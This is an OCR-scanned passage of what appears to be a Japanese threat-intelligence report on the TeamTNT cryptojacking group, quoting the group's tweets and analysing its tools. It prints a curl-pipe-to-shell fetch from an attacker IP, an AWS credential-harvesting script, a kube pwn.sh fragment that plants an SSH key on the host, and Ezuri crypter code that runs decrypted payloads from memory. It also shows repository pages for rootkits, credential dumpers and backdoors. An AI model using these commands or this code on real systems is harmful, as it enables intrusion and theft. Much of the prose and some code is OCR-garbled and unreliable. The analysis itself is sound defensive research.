if [ -f "/root/SCHECK_PATH" ];then echo -e "\e[1;33;41m FOUND: /root/SCHECK_PATH \033[om";fi
it

for USER_AXX in $(1ls -1 /home/); do
if [ -f "/home/SUSER_AXX/SCHECK_PATH" ];then echo -e "\e[1;33;41m FOUND: /home/SUSER_AXX/SCHECK_PATH \033[6m";fi
done

done

echo "";echo "";echo "done!";echo "";echo ""

51:TeamTNT (CLDRIUT MM, EBEFRILBERZEIFT L TWD I 7 1)L 2R

ML> RN 00OCELDE. 2021 & 3 AMNS 5 AICHITFT. Kubernetes ZEfTLTULVD 5 AL
IP 77 RLAMEE=E LN,

ZONOREFHEICHDEURZ. Y@ E(COTDRITIONAFICLD TRA MENTVE
9. ZDONfald. Lacework Labs BEIF 1 BICHREUICEDEMTVEIN, BEREDINCEZL<ED
TWVWEY,
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https://www.trendmicro.com/en_us/research/21/e/teamtnt-targets-kubernetes--nearly-50-000-ips-compromised.html

#!/bin/fsh

# curl -Lk http://45.9.148.35/chimaera/sh/grab_aws-data.sh | sh

if [ S# -eq 0 ]
then
mkdir -p fvar/tmp/.../...TnT...J/aws-account-data/
cd /varftmp/.../...TnT...faws-account-data/

://docs.aws.amazon.com/cliflatest/reference/iam/index.html

get-account-authorization-details > iam-get-account-authorization-details.json
:f/docs.aws.amazon.com/cli/latest/reference/iam/get-account-authorization-details.html
get-account-password-policy = iam-get-account-password-policy.json
:f/docs.aws.amazon.com/cli/latest/reference/iam/get-account-password-policy.html

:f/docs.aws.amazon.com/cli/latest/reference/iam/get-account-summary.html
get-account-summary = iam-get-account-summary.json
://docs.aws.amazon.com/cliflatest/reference/iam/1list-account-aliases.html
list-account-aliases > iam-list-account-aliases.json
://docs.aws.amazon.com/cli/latest/referencefiam/1list-groups.html

list-groups = iam-list-groups.json
://docs.aws.amazon.com/cli/latest/referencef/iam/1list-instance-profiles.html
list-instance-profiles = iam-list-instance-profiles. json
://docs.aws.amazon.comfcliflatest/referencefiam/1list-open-id-connect-providers.html
list-open-id-connect-providers > iam-list-open-id-connect-providers. json
:f/docs.aws.amazon.com/cli/latest/reference/iam/list-policies.html
list-policies = iam-list-policies.json
:f/docs.aws.amazon.comfcli/latest/reference/iam/list-roles.html

list-roles = iam-list-roles.json
://docs.aws.amazon.com/cli/latest/reference/iam/1list-saml-providers.html
list-saml-providers = iam-list-saml-providers.json
://docs.aws.amazon.com/cli/latest/referencefiam/1list-server-certificates.html
list-server-certificates = iam-list-server-certificates. json
://docs.aws.amazon.com/cliflatest/reference/iam/1list-users.html

list-users = iam-list-users.json
://docs.aws.amazon.com/cli/latest/referencefiam/1list-virtual-mfa-devices.html
list-virtual-mfa-devices > iam-list-virtual-mfa-devices. json
:f/docs.aws.amazon.com/cliflatest/reference/iam/get-credential-report.html

52:AWS CLI Z{FH LT AWS h'5DFT—4&HEITBI IV T MDD ZRY
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<2021 B>

2021 FE. TeamTNT (F5|EHSF 1 U5 1 THRE SN TLVAL) Docker B —/ & Kubernetes B —
NZENEUFE U, 2021 F£HICMDERIT DS —M TeamTNT DRI U h—Ep&ER UIZIZs.
TeamTNT (IR VT hz#HBI T DIzHDF LW EZWVW DMNBINLE Uz, #5(F. BI53 [CR5N
BRI, 2DEEZ Twitter 7D RTRERLUFEUI.

HildeGard@TeamTNT
@HildeTNT

UND HIER NOCHMAL:

Alle aktuellen TeamTNT Scripte sind mir Datum und
Versionsnummer versehen. Des weiteren befindet sich
ein SRC Link darin, mittels dessen konnen sie die
Scripte abgleichen.

Uns wurde etwas besseres als so ein oracle mist
einfallen wollten wir es unauffallig!

Translated from German by Geo gle

AND HERE AGAIN:

All current TeamTNT scripts are provided with the date
and version number. There is also an SRC link, which
you can use to synchronize the scripts.

We would think of something better than such an
oracle mist if we wanted it to be inconspicuous!

3:04 PM - Aug 6, 2021 - Twitter for Android

53:TeamTNT (&, Twitter 7HI> RENU T, SEDIRTOIXIUT NS (9064171 #1700, EUWVREERIFT
B EEREK,

54 (3. COWBIEETHERASNIEAIVUT K I 7 A IILDRAIDEITERLTWET ., ZDIT7-1ILIC
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Ao>0O— RENZ URL BAEHE SN TLET,
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Ffz. TeamTNT (&, EITFOWEIEE(ICDWT. KD ERME] Z25FHDZ EZBBD Twitter TXIA
LELR, COYA—RD—BELT, IR=FRFYZIR— R ADUZTIREFENTVELZ. K
55 (. ZDH Y AR—RORXII)—->23v hTY, v aR—RHN5(E. [Chimaeral E/FE
2021 & 7 B 25 BHICBAEN. AES572 Docker. Kubernetes. WeaveScope MY —EXHYEHONT
WBTENMOMDET.
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ii ii E#T ... #0 .. ##ED. =: tt DWi KK
i ]

Chimaera - Campain - Statistiks

Vulnerables: ingRange: TargetsFound:

244.0.0.0/8

Back-End _ informations

all ;
Currency: — - abused: amount: Pools:
—— = Wallets: e i

14 27?2 XMR
0,02452
- ETH

fouched devices

55:Chimaera W< aR— RDATJ—->2 3w ~

}fE857% Docker - > R > RZ2EN & Ul CNE TOREFH EBEHER(C. Summer Tl zgrab ZALVZ
masscan/pnscan ZERUTA 2RI RAZRREUE UL, K 56 (. MESSRANS > ETEITESNLN
AO0—RZRUTVET,

F9. Docker (CRXFv>ROVUT hEAFDI>O—-RT B alpine A1 A—HEFT>0O—RIBEDIER
U, NIUICNAFT—ZERREIEET, =52, ¥ 2IC(E Weave Scope TO—TH1 > X h=)LEn
TWEY,
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5 [ --net=host --pid
n/doc yck P debu ys, = INT DISABLE w
true launch --se ken=d1m9gbsc5dog38bgcfow7oz6itltpkss

56:ZZ 2 T/RL Docker U —EXZBAYT D2 AF v FXOUT bHkEe.

TeamTNT (FUA LY MZEWK DO DEEZMAE LI, DALY R RLREXDIUT KMI/\—R
d—RIBIHRDDIE BRTIF—RBROVT MZZEEBRT(CT7RLAZO-FT—2 3> TS ez
BIUELR, B57 (& ROUT SHBRI7 OS5 —DY—)\DMSRHFODA LY MRS I D552
LTWEY,

STERIMIDIA Ly b2 0O— RIBshCBIlSNziEE. BRMNMKKUEZS/\—RO-Fr>TdEniz/\v o
7yvIT7 RLAMMERENS.
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TeamTNT (&, BELFZ 05 —THDHIC. Twitter TRRANILY FZ#HIFLTLET, 58 (RO
Twitter 770> F@HIldeTNT (&, 2020 & 8 BIC/ERENFE UTc, BRI TS —DERY)DIREFE(E
2020 £ 5 BICERESNELIEHN, 2019 F 10 BICSH DEDEEBERSNTUWLET, COTFHI>
MMERR SNTZD(E. HMSDFEBEMELUIEZ < DLR— MR ENE 2020 FOETULRE, JO7D
« —)UICEEH SNTUVDIBRICKD & BSDOMFI RV T,

HildeGard@TeamTNT
@HildeTNT

Red Teaming

© Germany &’ teamtnt.red Joined August 2020

78 Following 26 Followers

58:TeamTNT D Twitter 70> RDRA T J—->23wv b

59 DI ST TIE. BRI U5 —F 1 BHOIRNTORREF(C Twitter Tl O7« JICIRDTLET,
([CRENTVBT—H (. UTC ALY -2 CEDETVET, TeamTNT AT —0Ow/DF1 LY —
SICEDWTWBRERETDE. YA — D [RIA D] (G, I—0OV/\DFEENSHHBETICH
IGUTWD EfEmmfTlT 2 EMNTEET,
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TeamTNT QYA — hDEFEA L RAYET. AFEBENT —YWRERE (COVID-19 DUF>
BB E) ADOTIAY b5, ESDEHCDVWTDERIIL—T (CEHET DRNE 2R DATEN
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Trend Micro Research @TrendMicroRSRCH - May 25

#NewPost | We've found and confirmed close to 50,000 IPs compromised
by #TeamTNT across multiple clusters. Several IPs were repeatedly
exploited during the timeframe of the episode, occurring between March
and May.

Find out more in our report

TeamTNT Targets Kubernetes, Nearly 50,000 IPs Compromised in W...
We have found and confirmed close to 50,000 IPs compromised by this
attack perpetrated by TeamTNT across multiple clusters.

& trendmicro.com

O 1 01 Q s

HildeGard @ TeamTNT
@HildeTNT

Replying to @ TrendMicroRSRCH

>

So can the intern choose numbers for public articles?
Oo What you mean here was the project "Kubernetes
Speedrun" and we are completely unclear how you get
to 50,000 ... 4655 feat 2215 uniq certainly doesn't
sound like a fat headline, ... cool down ..

Translate Tweet
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2021 £ 3 A. TeamTNT (& #EMHDBEDTZEDOY—-ILZEODTND I LB/ IDY1— b (1RITH
BR) (ORIELIZEC A WENRBRTEEDIIL—TDEDTH D ERBENFELUIL. TeamTNT (CKD &,
BICHMER LIZR O UT MM i< &6 6 4w BRIDEDT LT,

This Tweet is from an account that no longer exists. Learn more

HildeGard @ TeamTNT
@HildeTNT
Replying to @R3dbU7z

| checked it out and ... WTF? Oo since someone has
made use of several versions of the TeamTNT scripts.
Oo | am now wondering how effective this combination
works?!? Oo

Translate Tweet

2:42 PM - Mar 2, 2021 - Twitter for Android
62: Twitter DBID T —HAD TeamTNT (C L BIRIE(R-1VEHNSDEER)

6 A. /{\O7IL b=y RD—=OXD Unit42 (. TeamTNT A2 LTz & DWEVEEICRAT B L/R—
ERFJUFEUZ. COBEEECE. BIOOVUT N vFH> T - JIL—THMER L TV ED EEERD
EifizERUIEROUT MY —ILSHEFNTVDLDICRIF LN ERDFERAECENL
DHDEVN G DFE U, TeamTNT (F. —EDWYA— hTITOTDIEECIRIEL. CNIFEDTEEMNME
A UTZIE RSO Y — )L TIER < DN MERULIZEDTHD EFRUF U, HS(E BRTZEN
FEL. BEODKEESETHERALTVWBAIUT ho—E=zHEL. BOIEBbDEREMALELE. ©
DROVUT S (F 64) (E. BSDY bk teamtnt[.]red/blog/Kubernetes.txt ([C/RXA hENTWLVEL
1Zo

CDII—=TE. CcoTOJICERLIEMDYA — MW LT, ROKXSITIRELE L. "Das ist
KEINE TeamTNT Kampagne!"(R1WEET [ZHNIE TeamTNT OE/EE T(IRN ! | YTDERT D
A —(F. BOIEOEE Z R UCBEDRSE(CIA> SUZREN D DET . RES DU UZ
VA —RUEDHECOADBUEDTDZEEHDFT, HSFBEDREVEE(C/RER L TLVRLS
ENNS. BRIEEDEMDOINEZROTESVZVWEEZTNBRDITY, FESDINETDITEIN S,
RS NIZIREVEE(E TeamTNT [CKRDEDTIFRL . BEHECLDEDTHD LML TLET,
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0x51 @qcuequeue - 20h
Here is my second #TeamTNT blog within a week. This one is more
infrastructure focused. And links Watchdog infra and TeamTNT infra.

v

Interesting cross over. =

#/» paloalto 7 UNIT 42

TeamTNT Using WatchDog Operations TTPs in Cryptojacking
We have identified indicators traditionally pointing to WatchDog
operations being used by the TeamTNT cryptojacking group.
& unit42.paloaltonetworks.com

O 1 01 Q 2 &,

HildeGard@TeamTNT @HildeTNT - 15h
Das ist KEINE TeamTNT Kampagne!

Q1 0 V)

>

0x51 @qcuequeue - 14h

Cool, who is it then? And what is
3b14c84525f2e56fe3ae7dec09163a4a9c03f11e6a8d65b021c792ad13ed27
01 doing in your repo? Comments always welcome!

Q 3 (o) ¥, &

HildeGard@TeamTNT
@HildeTNT

Replying to @gcuequeue

&

Und wir wissen nicht wer es ist! Es kommen viele und
mullen in unserem Schatten.. aber wir stéren uns nicht
daran das so kleine kinder wie Fr3ak ein paar irc bots
stehlen, wenn sie gluicklich werden sollen sie weiter
aus unserem abfall essen.

Translated from German by Google

And we don't know who it is! Lots of people come and
rubbish in our shadow .. but we don't mind that children
as small as Fr3ak steal a few irc bots, if they should be
happy they will continue to eat from our rubbish.

1:15AM - Jun 9, 2021 - Twitter for Android

63:2021 ££ 6 AN\5D/O77)L bDOFRAE(CH T D TeamTNT DEIZE
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#!/bin/bash

Script Name: kube pwn.sh
Beschreibung: the Kubernetes hostsystem and the TeamTNT rsa Key.
Aufruf: curl -s -Lk teamtnt.red/blog/Kubernetes.txt
wget -q -0 - teamtnt.red/blog/Kubernetes.txt
Autor: HildeGard
Vers : 0.0.4
DERH 08.06.2021
HUHUHRH AR U RERABBHAHUB R RAABGH R BB HR BRI RH AR AR BB R 7Y

T e

HHEE R SR

1

Please stop saying that TeamTNT
would tap such a BullShit
and become such a cheap
TeamTNT doesn't need to
this WatchDog shit!

Here is a small sample of
our current campaign.

#
#
#
#
#
#
#
#
#
#

HBHHRHUABRHARBRERUARBRAAARBRBHARBR AR RRABRRARRAR R WA
>/dev/null 1>/dev/null; then
apt-get upda --fix-missing 2>/dev/null 1>/dev/null
apt-get install -y fdisk 2>/dev/null 1>/dev/null
apt-get install -y >/dev/null 1>/dev/null
install -y curl /dev/null 1>/dev/null

‘ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAACAQDYmuFzpuEpN/KHPbQkSUT1Xe/gV13FpIe/GLhIJEnW84rCMsYhRe2xxcPclxfZd10IBhM1kEhsS5aycIYiPvLYTRi7mA88hE150V(
(fdisk -1 | grep '/dev/' | grep 'Linux filesystem' | awk '{print $1}')
THE _REALIP=$(curl -sLk ipv4.icanhazip.com)
[ ! -z "$HOSTSYSTEM" ]; then
/.host dev/null
$HOSTSYSTEM /.host
[ -d t" ]; then
chattr -ia /.host/root/.ssh/authorized keys /.host/root/.ssh/authorized keys2 2>/dev/null
$ID RSA KEY /.host/root/.ssh/authorized keys
$ID RSA KEY .host/root/.ssh/authorized keys2
CONNECT_TO=$(cat /.host/etc/ssh/sshd_config | grep 'Port ' | grep -v '#Port ')
CONNE T ]; then CONNECT T0=22 ; fi

64:TeamTNT B> T 7 ULIEROUTS ~
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<VY—=JL>

Tsunami (Kaiten)

TeamTNT (&, Tsunami & UTHISNSB IRCRY b - RILDT7ZFERALTWVWET, K 65 (F. |RIID
WEEHTHERASNEAY hOOd— RBHBODERZRUTWLWEY, Tsunami (. AL —F—H
F—5w MII LT DDoS WEZITOED. BERULIENS > TION REEITURED IR ENTEE
3_0

65:TeamTNT.zu TER TN TLVSD Tsunami B> )LD I— RBHBEDH

MRy hrDY—XJ—RI& 2014 F(CABEESNFE U, ziggystartux EMEND T A —T SN TEFFHFEN
EIN—=3 M GitHub TAFTEXI.X 66 (. TO> 0 b GitHub URS MU ZERLUTWLET,
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https://analyze.intezer.com/files/205db0ef59cad167c6132916f8f7a1d1963e740b36400419b2e5ba307e9f765c
https://analyze.intezer.com/files/205db0ef59cad167c6132916f8f7a1d1963e740b36400419b2e5ba307e9f765c
https://analyze.intezer.com/files/205db0ef59cad167c6132916f8f7a1d1963e740b36400419b2e5ba307e9f765c
https://analyze.intezer.com/files/205db0ef59cad167c6132916f8f7a1d1963e740b36400419b2e5ba307e9f765c
https://analyze.intezer.com/files/205db0ef59cad167c6132916f8f7a1d1963e740b36400419b2e5ba307e9f765c
https://analyze.intezer.com/files/205db0ef59cad167c6132916f8f7a1d1963e740b36400419b2e5ba307e9f765c

R isdrupter / ziggystartux

<> Code

Issues

Pull requests Actions

¥ master ~ ¥ 1 branch

©0iags

g; isdrupter Update README.md

Projects Wiki Security

Insights

Go to file

1d9a727 on 19 Jun 2017 &) 29 commits

@Wach ~ 4 & Str | 17

About

A Kaiten rewrite, with much new
functionality, and many fixes for the old
stuff!

README.md Update README.md 4 years ago

M Readme
compile.sh Update compile.sh 5 years ago
hide-.c for ziggy-latest 5 years ago

Releases
hide.c Update hide.c 4 years ago

No releases published
infector.py Update infector.py 4 years ago
ziggy-cleanup.c Create ziggy-cleanup.c 5 years ago

Ziggy-latest.c

Rename ziggy-v3.c to ziggy-latest.c

4 years ago

Packages

No packages published

ziggy-newer.c Rename ziggy-latest.c to ziggy-newer.c s ago
ziggy-ve.c Create ziggy-v2.c 5 years ago Languages
ziggy.c Update ziggy.c 5 years ago
® C97.0% @ Python 2.2%
Shell 0.8%
:= README.md
ziggystartux

A Kaiten rewrite, with much new functionality, and many fixes for the old stuff! Tailored toward embedded Linux
devices, because... well, the internet of things is the new frontier!

66:ZiggyStarTux d GitHub U/R= kU

TeamTNT AMER LAY MME. SOT— RS2 /IAILENZEDTIFRNLDSTI, ZORDO,
BHEID/\—==3 > 0502/ IILeNTVEL ST, GitHub [ClE, KXENzAUZFH)ILDT— Rz
REITDEHDVURZ NIUNHBDFET. INSDOUNRT RUDY —X0— RIFET, TeamTNT WMEAL
TZINAFVICHBIRY bDI\—=3 > NXFF%ZFHFD>TOWT, BUINVY ROBR— hZEBR TVET . R
v MAYER— ML TVWBOVYY RiE, UTFOO—RAZIRY MIRENTVET,
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TSUNAMI <target> <secs= A PUSH+ACK flooder

PAN <targets <port> <secss A SYN flooder

UDP <target> =port= <secss = An UDP flooder
UNKNOWN <target> <secs- = Another non-spoof udp flooder
NICK =nick= = Chamges the nick of the client
SERVER <server= = Changes servers
GETSPOOFS = Gets the current spoofing
SPOOFS <subnet= = Changes spoofing to a subnet
DISABLE = Disables all packeting from this bot
ENABLE = Enables all packetimg from this bot
KILL = Kills the knight
GET <http address= <save as> = Downloads a file off the web
VERSION = Requests version of knight
KILLALL = Kills all current packeting
HELP = Displays this
IRC =commands= = Sends this command to the server
5H <commands = Executes a command

TeamTNT DEHE

67 (LRI LDIC, My bME MDD 7TUT—23 > 8% kthreadd (CEREL. I—FIL - ALY R
(CARDITFHELTNET,

mov .
call sym.strncpy
mov dword [

67: 7O ADEHEI% kthreadd ([CEFE

Ry MIEFATD 2 a0Y—)HEESNTLET,
111.230.15.240

Teamtnt.twilightparadox.com

Rathole

Rathole (34— > Y —2® Unix /\w & R77 T, DO — R(d GitHub T/RZ h&NTLWET (K 68).
J— ROBABDHER 69 (CRUET. /\wo RFIFMEED Linux T4 ARJUE21—>3>TI2/C
ILTE. blowfish B§S{t. TOTRLDIERT. BLWFHDS TILEHR—NUET.
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https://github.com/IncSTK/rathole

master ~ Fi1 Go to file Add file ~

. IncSTK Forgot .gitignore

.gitignore
Makefile
README
blowfish.c
hole.c

rat.c

README

[ RatHole 1.2 ]

RatHole is a unix backdoor which compiles cleanly linux and
openbsd (probably other bsd flavours a 1i

It features blowfish encryption, pri name hiding and d

prefered shell. When a client conne to the backdoor a new 11 process
and two pipe files are created. The I/ f the shell is duped to the pipes
and the daemon encrypts the communication.

68:Rathole /\w 2 RF7%&7RX 9B GitHub UR kU

bioset

TeamTNT Family

v TeamTNT

ncurses

busybox

69:TeamTNT T{EH=MN3 Rathole /\rFUD— REBFAEDH

V—REIAFTUDENR, XFF) [teamtnt] MESIES KMESILIL—F 2 (SEMSNTLNDZET

rspt JE
offset aTeamtnt
encrypt
dx, [rsp var 8]

70:\y U R THEASNBESEF—ZRIAIU-223v b~
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https://analyze.intezer.com/files/da43ed194729f82db68b1d91a17cea6afde8ae81357116c35c4c129888a836bf
https://analyze.intezer.com/files/da43ed194729f82db68b1d91a17cea6afde8ae81357116c35c4c129888a836bf
https://analyze.intezer.com/files/da43ed194729f82db68b1d91a17cea6afde8ae81357116c35c4c129888a836bf
https://analyze.intezer.com/files/da43ed194729f82db68b1d91a17cea6afde8ae81357116c35c4c129888a836bf
https://analyze.intezer.com/files/da43ed194729f82db68b1d91a17cea6afde8ae81357116c35c4c129888a836bf
https://analyze.intezer.com/files/da43ed194729f82db68b1d91a17cea6afde8ae81357116c35c4c129888a836bf

ZDIT7A)UE. TeamTNT DEENOFHIN R (CECERSNDAEID 2019 € 10 A 6 HIC VirusTotal (C
O TREE=NF L.

Ezuri

Ezuri (&, A—TF>Y—X® ELF SV I bTY, 2OTO> T b GitHub T/RAX RN TULE
9, 71 (&, GitHub URS MUDROU—->2 3w NTT,

B guitmz / ezuri @Watch ~ 8 ¢y St

<> Code Issues Pull requests Actions Projects Wiki Security Insights

¥ master ~ ¥ 1branch ©0tags Go to file Add file ~ About

A Simple Linux ELF Runtime Crypter

* guitmz Update README.md 3bb46af on 23 Mar %) 10 commits
@ www.guitmz.com/linux-elf-runtime-c...
stub initial commit 2 years ago M Readme
LICENSE Initial commit 2 years ago s MIT License
README.md Update README.md 2 months ago
aes.go initial commit 2 years ago Releases
ezuri.go Rename crypter.go to ezuri.go 2 years ago No releases published
utils.go initial commit 2 years ago
Packages
:= README.md
No packages published
Ezuri
Languages
A Simple Linux ELF Runtime Crypter. An unpacker by fOwl can be found at fOwl/ezuri_unpack.
e Go 100.0%

71:GitHub T/RX RENTULB Ezuri BES1LY T b GitHub URZ kU

5516V T b, CFB(Cypher FeedBack)E®— R®dD AES Z{FERA L TR1O— RZES{ELET . BBSME
VI MEITENDE. RAO—RIFES{EESN. ABUNSEITEINET, K72 (. A FEEEE
SRR ZRUE T,
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func aesDec(srcBytes, key, iv []byte) []byte {

block, _ := aes.NewCipher(key)

decrypter := cipher.NewCFEDecrypter({block, iwv)
decrypted := make([]byte, len{srcBytes))
decrypter.X0RKeyStream(decrypted, srcBytes)
return decrypted

func main{) {

1

buffer, _ := ioutil.ReadFile({os.Args[@])

keyBeginIndex := bytes.lastIndex(buffer, []byte(key))
keyEndIndex := keyBeginIndex + len(key)
key := buffer[keyBeginIndex:keyEndIndex]

ivBeginIndex := bytes.lastIndex(buffer, []byte(iv))
ivEndIndex := ivBeginIndex + len(iwv)
iv = buffer[ivBeginIndex:ivEndIndex]

target := buffer[ivEndIndex:]
target = aesDec(target, key, 1iv)
runFromMemory{procMame, target)

72:Ezuri DA B EESEOD YD

73 (&. runFromMemory B#ZERLUTWET, AEUNSDETIE. &AIC Linux = XFA0—)L
memfd_create ZIMTUTAEY I 7 AMILZIER T D EICK>TERENF T, ESbesnzI> 7>
YEXREYITZ7AIVCEZTAFENET ., CNITHWVT, TOCANTA =TSN, EkESnNizFI0O0EX
M execve ZRFAO—ILZNTUTCAEY I 7 A ILEZEITUET.
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const (

mfdCloexec = Ox@oel
memfdCreateXGd = 319
fork = 57
)
func runFromMemory(procName string, buffer []Jbyte) {
TdName := "" // *string cannot be initialized
fd, _, _ := syscall.Syscall(memfdCreateX64, uintptr(unsafe.Pointer(&fdName)), uintptr(mfdCloexec), @)
_r _ = syscall.Write(int(fd), buffer)
fdPath := fmt.Sprintf("/proc/self/fd/%d", fd)
switch child, _, _ := syscall.Syscall(fork, @, 8, @); child {
case 0:
break
case 1:
/f Fork failed!
break
default:
/f Parent exiting...
o0s.Exit(@)
}
_ = syscall.Umask(@)
_r _ = syscall.Setsid()
_ = syscall.Chdir("/")
file, _ := 0s.0penFile("/dev/null", os.0_RDWR, @)
syscall.Dup2(int(file.Fd()), int(os.Stdin.Fd(}))
file.Close()
_ = syscall.Exec(fdPath, []string{procName}, nil)
}

73ESESNERAO— REXEUANSEITI DEHDOY —XO— K

Punk.py

Punk.py (&. Giuseppe Corti ([C&k D TERR STz Unix A5 LADRA NI O TOA bDY—ILTY,
ATV —-XTHD. GitHub TIRARENTWET ., ¥ 74 (L. GitHub USRS KUDRIU—->2 37
v hTY, BASNIRX R TRDM o 12ERIEHRZEA LT, SSH known_hosts 7 —4~X—XD—
EBTHDIMDNYI NADTITCRZHAFET, OTA1>2ULELDIELTVDRIARTOYS > TIN RE
KITITDHBEN DD FT
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3 r3vn/ punkpy &GWatch ~ | 9 ¢y Star 110 & Fork 30

<> Code Issues Pull requests Actions Projects Wiki Security Insights
¥ master - ¥ 1branch  ©01ags Go to file Add file = 4 Code ~ About
unix SSH post-exploitation 1337 tool
G r3vn added threads option c2bc426 on 16 Dec 2018 (%) 9 commits
|3y‘2|'|CI1 ssh unix penetration-testing
LICENSE.md first commit 3 years ago post-exploitation offensive-security
pivol pentest-lool
README.md added hashed known hosts bruteforcer 3 years ago e i
punk_py added threads option 3 years ago 0 Readme
&5 GPL-3.0 License
= README.md

Releases

pun k.py No rel

unix SSH post-exploitation 1337 tool

. Packages
how it works
No packages published
punk.py is a post-exploitation tool meant to help network pivoting from a compromised unix box. It collect usernames,
ssh keys and known hosts from a unix system, then it tries to connect via ssh to all the combinations found. punk.py is
Languages

wrote in order to work on both standard python2 and python3 interpreters.

® Python 100.0%

Screenshot

tation 133

74:punk.py @ GitHub U7R= kU

libprocesshider

libprocesshider (&. GitHub TY—XO— RAFIAEBIERTOST O T, URS KUDIOU—->
>3v bhzEK 75 (CRUET. OO MNEHBEAT o MELTOYNAILENET,
LD_PRELOAD ZERLTCO—Rand&. AT S U ps. Isof. top REDIAT> RMSTOER%E
FRRICTEDLDICTDNKDOh D libc = [Twvol ULEFT,
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3 gianlucaborello/ libprocesshider

G Watch ~ 21 vy Star 533 % Fork

<> Code lssues 4 Pull requests 1 Actions Projects Wiki Security Insights

¥ master ~ ¥ 2branches 0 tags Go to file Add file ~

&f gianlucaborello Merge pull request #9 from in7egral/master == 2500587 on 3 Apr 2019 ¥D 7 commits
gitignore makefile 7 years ago
Makefile makefile 7 years ago
README.md Update README.md 6 years ago
evil_script.py changes 7 years ago
processhider.c Fixed issue with readdir64 2 years ago

README.md

libprocesshider

Hide a process under Linux using the Id preloader.

Full tutorial available at https://sysdigcloud.com/hiding-linux-processes-for-fun-and-profit/

In short, compile the library:

gianluca@sid:~/1libprocesshider$ make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -1dl
gianluca@sid:~/libprocesshider$ sudo mv libprocesshider.so /usr/local/lib/

Load it with the global dynamic linker

75:libproccesshider M GitHub U/R kU

tmate

About

Hide a process under Linux using the
ld preloader (hitps://sysdig.com
/blog/hiding-linux-processes-for-iun-
and-profit/)

0 Readme

Releases

No releases published

Packages

No packages published

Contributors 2

% gianlucaborello Gianluca Borello

e in7egral Viadimir Putin

Languages

@ C258% e Python 10.1%

Tmate (&, IWRZHE I DIZHDEE TRERTEZRMT DA -T2V —-XWY—)LTI, SSHIEHT
tmate.io Web U1 hMDOZEIRMEHREHIL. TyvS 3> T EICTHLIRURLZERLET, 1—
H(E, MOEFETETRII1I—HE URLZHRBETEEFI, Tmate (F. GNU/Linux. macOS. BSD = X5/
EIRTO—MNRARL —F 1 IS RF LZYR— UL TWET,
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https://tmate.io/

pafy @bisou: ~ - Konsole

Pafys-Mac:~ pafy$

76:tmate AN B DX OU—->2 3w ~

masscan

Masscan (&. ¥+ U7« HFLED Robert Graham (Twitter T(d ErrataRob & U THXHSNTULVE
9) [CRDODTEMIIETCPR—ERFvF T, CORXFvrF(E IPv4 77 RLAZEMZIERE (CEERICR
Fr2FTBLDCHEASNTED. 7125 —RY FEERDAFv > (TERATEEFT . COREZTERNT D
ZHICF. - -3 BR—ADRY KD —DORXIY D&ERITDIRENDDFT,

pnscan

Pnscan (&. Peter’s parallel Network Scanner & U CHBXMSNTH D, masscan (C/=Y—ILTT,
DY —)LIE SSH, FTP, SMTP, Web, IDENT, ZDfMDH —EX &R I TzHIC IPv4 RvY KD —0%
AF v IBREHDIFERATEET, V—RXI— R(EGitHub TRAAENTWLET,

Tiny SHell
Tiny SHell (tsh)dA—T> V=D Unix JNW I RF T, 547> hES—/UTHMNTHED. CE
BECENMTVET., A XWNEL EBHROT7 IRk EYR— L TVET,
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https://github.com/creaktive/tsh

MimiPenguin

MimiPenguin (&. Windows ® Mimikatz &> (COT 41>/ \RXDJ— REMEITDIA-—T> YV —-IDY
—ILTY . ABYICHEHAENLZTOCRZFT > T U, FXD/I\RA DT — RESO0EEMDH 2172 U
ig_o

MimiPenguin 2.0

77:GitHub @O T ~ MimiPenguin DX U —>< 3w ~

Mimipy

Mimipy (FXEVUADOTOCAMNS/IKRADT—RZS>2TIZ300RTSY R ITA—LDA-T>YV—2X
W—JLTY, Eikd MimiPenguin iR—X(Z/2D> TWLWET, Mimipy (CIMBICE. TSSO HTTP Y
—) S DEREEEHROME. LightDM OB 7R— . JARXT— RO LESREDHENHDFET,

BotB

Break out of the Box (BotB) (&. R>FXY—MMERAT IR ICHEETSNTEA—T Y-V —)LT
9. RO FTFOMSEHZBRALTCI>TFMS5iRIFE L. Kubernetes & GCP > —JLw R
DIFTHERL. 7—9%Z S3 /)Ty MTVSa1TRREDZ L DMEEN S DFET,

Diamorphine
Diamorphine (&, Victor Ramos Mello (CK > TERR =Nz Linux A—=RI)LEZ 1 —I)UL— bFwY R T
9, GitHub T/RX bh&anNTHH., H—IL\—=3>2.6.x/ 3.x/ 4.x /5.x=EZHR—EBLTWVWET,
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https://github.com/huntergregal/mimipenguin
https://github.com/n1nj4sec/mimipy
https://github.com/brompwnie/botb
https://twitter.com/m0nadlabs
https://twitter.com/m0nadlabs

TOCAPC T 7AILEIERRICU. BHEDI—H% root [CEIBRSEBRTENTEZET, JL— MY &
OMBERES I FHIL=ZNT L TIThNE 9,

H mOnad / Diamorphine @Watch ~ | 45 | ¢ Star 788 | 3 Fok 287

<> Code (2) lssues 4 i1 Pull requests 1 (+) Actions [7]] Projects [0 Wiki (1) Security |~ Insights

¥ master ~ #* 2branches © 0tags Go to file Add file ~ About

LKM rootkit for Linux Kernels

’ monad Update README.md with new references 8988105 on 12 May Y1) 49 commits 2.6.0/3.x/4.x/5.x (xB6/x86_64
and ARM64)
[M LICENSE.txt license... 7 years ago
c lirux security
- ' . Vears :
[ Makefile pushing the code 8 years ago security-audit  kemel
[ README.md Update README.md with new references last month backdoor  kemel-module
[ diamorphine.c Fix 5.7+ kallsyms_lookup_name #26 ast month roolkit malware
linux-kemel hacking
[ diamorphine.h Fix 5.7+ kallsyms_lookup_name #26 ast month )
pentesting pentest stealth
hacking-tool security-tools
= README.md redigaming kmn-rootkit
redieam
Dlamorph I n e advanced-persistent-threat
0 Readme

Diamorphine is a LKM rootkit for Linux Kernels 2.6.x/3.x/4.x/5.x and ARMG4
& View license

Features

« When loaded, the module starts invisible; Releases

No releases published
« Hide/unhide any process by sending a signal 31; ¢ (eianes puEEne
« Sending a signal 63(to any pid) makes the module become (in)visible;

Packages
« Sending a signal 64(to any pid) makes the given user become root;

Mo packages published
« Files or directories starting with the MAGIC_PREFIX become invisible;

78:GitHub project Diamorphine DX U —>> 3w k

Docker Escape Tool

Docker Escape Tool (&, GitHub TSN TWSA—T>Y—XW—)LT. Docker 1> 7 FZ#5l
L. BERlOEMiZERLCI>TFZ2IRT—T LRSI ELFET., COV—ILOBENIE. J>F7Fotz+
AT &I DI ETY . BERENZFAICIE. Docker Unix Yoy bDNYDI> b TITA4)LBR
